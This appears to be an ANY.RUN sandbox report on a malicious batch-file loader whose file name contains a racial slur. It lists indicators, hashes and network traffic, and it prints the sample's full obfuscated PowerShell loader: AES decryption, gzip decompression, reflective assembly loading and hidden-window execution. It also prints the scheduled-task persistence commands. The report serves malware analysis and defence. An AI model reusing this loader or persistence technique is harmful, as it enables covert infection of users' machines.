File name:

NiggaKernel.bat

Full analysis: https://app.any.run/tasks/2365398e-710d-496e-b76f-fd82936d366d
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: January 10, 2025, 05:20:01
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
reflection
loader
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with very long lines (58100), with CRLF line terminators
MD5:

049E158C496E1D81B51D8C3E85D769DC

SHA1:

29717CC27F715C86E95B2027C87331C7B7F6A688

SHA256:

8A571346E3190DAF5E2B5B30DEA032FEAB8726DD423EC1446F0863D76CC9CD80

SSDEEP:

24576:6JTtOJAdMrNp8QL585hVGeA7TycnoAE33Lio++/q1Bm6dS585gL2n6:8rEtoA+7qa6f5zn6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 6388)
      • cmd.exe (PID: 7096)
      • cmd.exe (PID: 4640)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 4512)
      • powershell.exe (PID: 624)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 4512)
      • powershell.exe (PID: 6960)
      • powershell.exe (PID: 624)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 4512)
      • powershell.exe (PID: 624)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 4512)
      • powershell.exe (PID: 624)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 4512)
      • powershell.exe (PID: 624)

    • Starts PowerShell from an unusual location

      • powershell.exe (PID: 624)

    • Uses Task Scheduler to autorun other applications

      • powershell.exe (PID: 624)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6388)
      • cmd.exe (PID: 7096)
      • wusa.exe (PID: 6928)
      • powershell.exe (PID: 4512)
      • cmd.exe (PID: 4640)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 6388)
      • cmd.exe (PID: 7096)
      • cmd.exe (PID: 4640)

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 6388)
      • cmd.exe (PID: 7096)
      • cmd.exe (PID: 4640)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 4512)
      • powershell.exe (PID: 624)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 624)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 624)

    • Executing commands from a ".bat" file

      • powershell.exe (PID: 6960)
      • wscript.exe (PID: 5888)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 6960)
      • wscript.exe (PID: 5888)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 5888)

    • Application launched itself

      • powershell.exe (PID: 4512)

    • The process executes VB scripts

      • powershell.exe (PID: 4512)

    • Detects reflection assembly loader (YARA)

      • niggakernel.exe (PID: 1328)

    • Starts itself from another location

      • powershell.exe (PID: 624)

  • INFO

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 4512)
      • powershell.exe (PID: 624)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 4512)
      • powershell.exe (PID: 624)

    • The sample compiled with english language support

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 624)

    • Checks supported languages

      • wusa.exe (PID: 6928)

    • The process uses the downloaded file

      • powershell.exe (PID: 6452)
      • powershell.exe (PID: 6960)
      • wscript.exe (PID: 5888)
      • powershell.exe (PID: 624)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 6164)

    • Create files in a temporary directory

      • niggakernel.exe (PID: 1328)

    • Reads security settings of Internet Explorer

      • niggakernel.exe (PID: 1328)

    • Checks current location (POWERSHELL)

      • niggakernel.exe (PID: 1328)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
138
Monitored processes
20
Malicious processes
9
Suspicious processes
1

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs powershell.exe wusa.exe no specs wusa.exe powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs wscript.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe schtasks.exe no specs conhost.exe no specs niggakernel.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
624"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jeg6IKA3PYqnc0jqPYpEjYg5Ext6Gg7nONNSKtICfDs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP0G+VOQ29D99pgE3ouSrA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lzJIU=New-Object System.IO.MemoryStream(,$param_var); $eCZeV=New-Object System.IO.MemoryStream; $RWNMt=New-Object System.IO.Compression.GZipStream($lzJIU, [IO.Compression.CompressionMode]::Decompress); $RWNMt.CopyTo($eCZeV); $RWNMt.Dispose(); $lzJIU.Dispose(); $eCZeV.Dispose(); $eCZeV.ToArray();}function execute_function($param_var,$param2_var){ $PUspL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WpQxW=$PUspL.EntryPoint; $WpQxW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\admin\AppData\Roaming\startup_str_707.bat';$bUeYL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\admin\AppData\Roaming\startup_str_707.bat').Split([Environment]::NewLine);foreach ($vtAXs in $bUeYL) { if ($vtAXs.StartsWith(':: ')) { $ZmRZW=$vtAXs.Substring(3); break; }}$payloads_var=[string[]]$ZmRZW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
3
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
1328"C:\WINDOWS\system32\niggakernel\niggakernel.exe"C:\Windows\System32\niggakernel\niggakernel.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\niggakernel\niggakernel.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
4320\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—schtasks.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4512"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jeg6IKA3PYqnc0jqPYpEjYg5Ext6Gg7nONNSKtICfDs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP0G+VOQ29D99pgE3ouSrA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lzJIU=New-Object System.IO.MemoryStream(,$param_var); $eCZeV=New-Object System.IO.MemoryStream; $RWNMt=New-Object System.IO.Compression.GZipStream($lzJIU, [IO.Compression.CompressionMode]::Decompress); $RWNMt.CopyTo($eCZeV); $RWNMt.Dispose(); $lzJIU.Dispose(); $eCZeV.Dispose(); $eCZeV.ToArray();}function execute_function($param_var,$param2_var){ $PUspL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WpQxW=$PUspL.EntryPoint; $WpQxW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\admin\Desktop\NiggaKernel.bat';$bUeYL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\admin\Desktop\NiggaKernel.bat').Split([Environment]::NewLine);foreach ($vtAXs in $bUeYL) { if ($vtAXs.StartsWith(':: ')) { $ZmRZW=$vtAXs.Substring(3); break; }}$payloads_var=[string[]]$ZmRZW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
4294967295
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
4640C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Roaming\startup_str_707.bat" "C:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
5888"C:\WINDOWS\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\startup_str_707.vbs" C:\Windows\System32\wscript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5916\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6012\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6152"schtasks" /create /tn "niggakernel" /sc ONLOGON /tr "C:\WINDOWS\system32\niggakernel\niggakernel.exe" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6164"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_707_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\admin\AppData\Roaming\startup_str_707.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -ForceC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
29 228
Read events
29 227
Write events
1
Delete events
0

Modification events

(PID) Process:(4512) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids
Operation:writeName:VBSFile
Value:
Executable files
3
Suspicious files
1
Text files
14
Unknown types
0

Dropped files

PID
Process
Filename
Type
6452powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ovpfgold.dhn.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6452powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tizjijfy.ctr.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6452powershell.exeC:\Windows \System32\wusa.exeexecutable
MD5:801B460F20F2978F29616947C8571925
SHA256:40DC0E7A94D204F263A48EBF316AB144A584D9EDA0CDD05D11114CFCC5397894
1328niggakernel.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ninpidmi.hgt.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4512powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_av2okolz.zon.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4512powershell.exeC:\Users\admin\AppData\Roaming\startup_str_707.vbstext
MD5:9D7F1235B3F49DC94E63D3A33687F30A
SHA256:6E97B206558A72589673DB7A5C1A59E97B80E3570C6C2990D3A52E7D7E1C605B
6164powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_o5wxi4xw.n0g.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1328niggakernel.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l3x34awg.jhp.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6164powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qr13ouk0.0s0.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4512powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cifuawef.cll.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
23
DNS requests
7
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.216.77.42:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
440
svchost.exe
GET
200
23.216.77.42:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
440
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
440
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
104.126.37.139:443
www.bing.com
Akamai International B.V.
DE
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
23.216.77.42:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
440
svchost.exe
23.216.77.42:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4712
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
440
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.104.136.2
whitelisted
www.bing.com
  • 104.126.37.139
  • 104.126.37.123
  • 104.126.37.178
  • 104.126.37.130
  • 104.126.37.129
  • 104.126.37.145
  • 104.126.37.136
  • 104.126.37.176
  • 104.126.37.128
whitelisted
google.com
  • 142.250.185.206
whitelisted
crl.microsoft.com
  • 23.216.77.42
  • 23.216.77.28
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
self.events.data.microsoft.com
  • 20.189.173.1
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
NiggaKernel.bat